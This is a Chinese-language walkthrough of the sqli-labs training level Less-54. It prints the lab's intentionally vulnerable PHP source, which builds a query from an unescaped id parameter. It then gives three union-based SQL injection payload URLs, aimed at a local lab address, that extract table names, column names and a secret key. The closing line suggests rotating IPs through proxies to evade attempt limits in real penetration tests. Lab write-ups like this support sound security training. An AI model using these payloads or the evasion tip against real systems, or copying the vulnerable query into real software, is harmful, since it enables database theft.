sqli-labs————Less-54（第四部分：提高部分）

前言

在接下来的几关中将会对前面所学习的内容做一个复习，同时也会通过在复杂环境中的应用来提高注入技巧。

Less-54

源代码：

Welcome    Dhakkan 



You have reset the Challenge
\n";
		echo "Redirecting you to main challenge page..........\n";
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
		//echo "cookie expired";			
	}
	else
	{
		// Checking the cookie on the page and populate the table with random value.
		if(isset($_COOKIE['challenge']))
		{
			$sessid=$_COOKIE['challenge'];
			//echo "Cookie value: ".$sessid;
		}
		else
		{
			$expire = time()+60*60*24*30;
			$hash = data($table,$col);
			setcookie("challenge", $hash, $expire);
			
		}
	
		echo "
\n";
	
		// take the variables
		if(isset($_GET['id']))
		{
			$id=$_GET['id'];
	
			//logging the connection parameters to a file for analysis.
			$fp=fopen('result.txt','a');
			fwrite($fp,'ID:'.$id."\n");
			fclose($fp);
	
			
			//update the counter in database
			next_tryy();
			
			//Display attempts on screen.
			$tryyy = view_attempts();
			echo "You have made : ". $tryyy ." of $times attempts";
			echo "


\n";
		
			
			//Reset the Database if you exceed allowed attempts.
			if($tryyy >= ($times+1))
			{
				setcookie('challenge', ' ', time() - 3600000);
				echo "You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset 
\n";
				echo "Redirecting you to challenge page..........\n";
				header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
				echo "
\n";
			}		
		
			// Querry DB to get the correct output
			$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
			$result=mysql_query($sql);
			$row = mysql_fetch_array($result);

			if($row)
			{
				echo '';	
				echo 'Your Login name:'. $row['username'];
				echo "
";
				echo 'Your Password:' .$row['password'];
				echo "";
			}
			else 
			{
				echo '';
//				print_r(mysql_error());
				echo "";  
			}
		}
		else
		{
			echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n

\n";
			echo "The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than $times attempts
";
			echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
" ;
		}
	
	}
	

?>
 











Submit Secret Key: 

 



';
	$key = addslashes($_POST['key']);
	$key = mysql_real_escape_string($key);
	//echo $key;
	//Query table to verify your result
	$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
	//echo "$sql";
	$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
	 
	$row = mysql_fetch_array($result);
	
	if($row)
	{
		echo '';
		echo "\n


";
		echo '';
		echo ""; 
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );	
	}
	else 
	{
		echo '';
		echo "\n


";
		echo '';
		header( "refresh:3;url=index.php" );
		//print_r(mysql_error());
		echo "";  
			}	

}

?>

sql执行语句：

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

从上面的SQL语句，我们可以知晓这一关是一个字符型注入，但是只能够尝试10次。所以我们要在所给的次数范围之内完成注入。

我们可以看到这里的表名和密码等时每10次尝试之后就会强行更换。

构造一下payload：

http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

得到表名：x8zrbqkd79

之后测试获取列名：

http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='x8zrbqkd79'--+

查看列值：

http://192.168.11.136/sqli-labs/Less-54?id=-1'union select 1,2,group_concat(secret_3ZC3) from challenges.x8zrbqkd79 --+

之后提交key即可！

在实际渗透测试中，我们可以利用更换IP（可以用代理）或者更换浏览器来绕过服务器端的检查限制。对于这个的实现，自己编写脚本是一个不错的选择。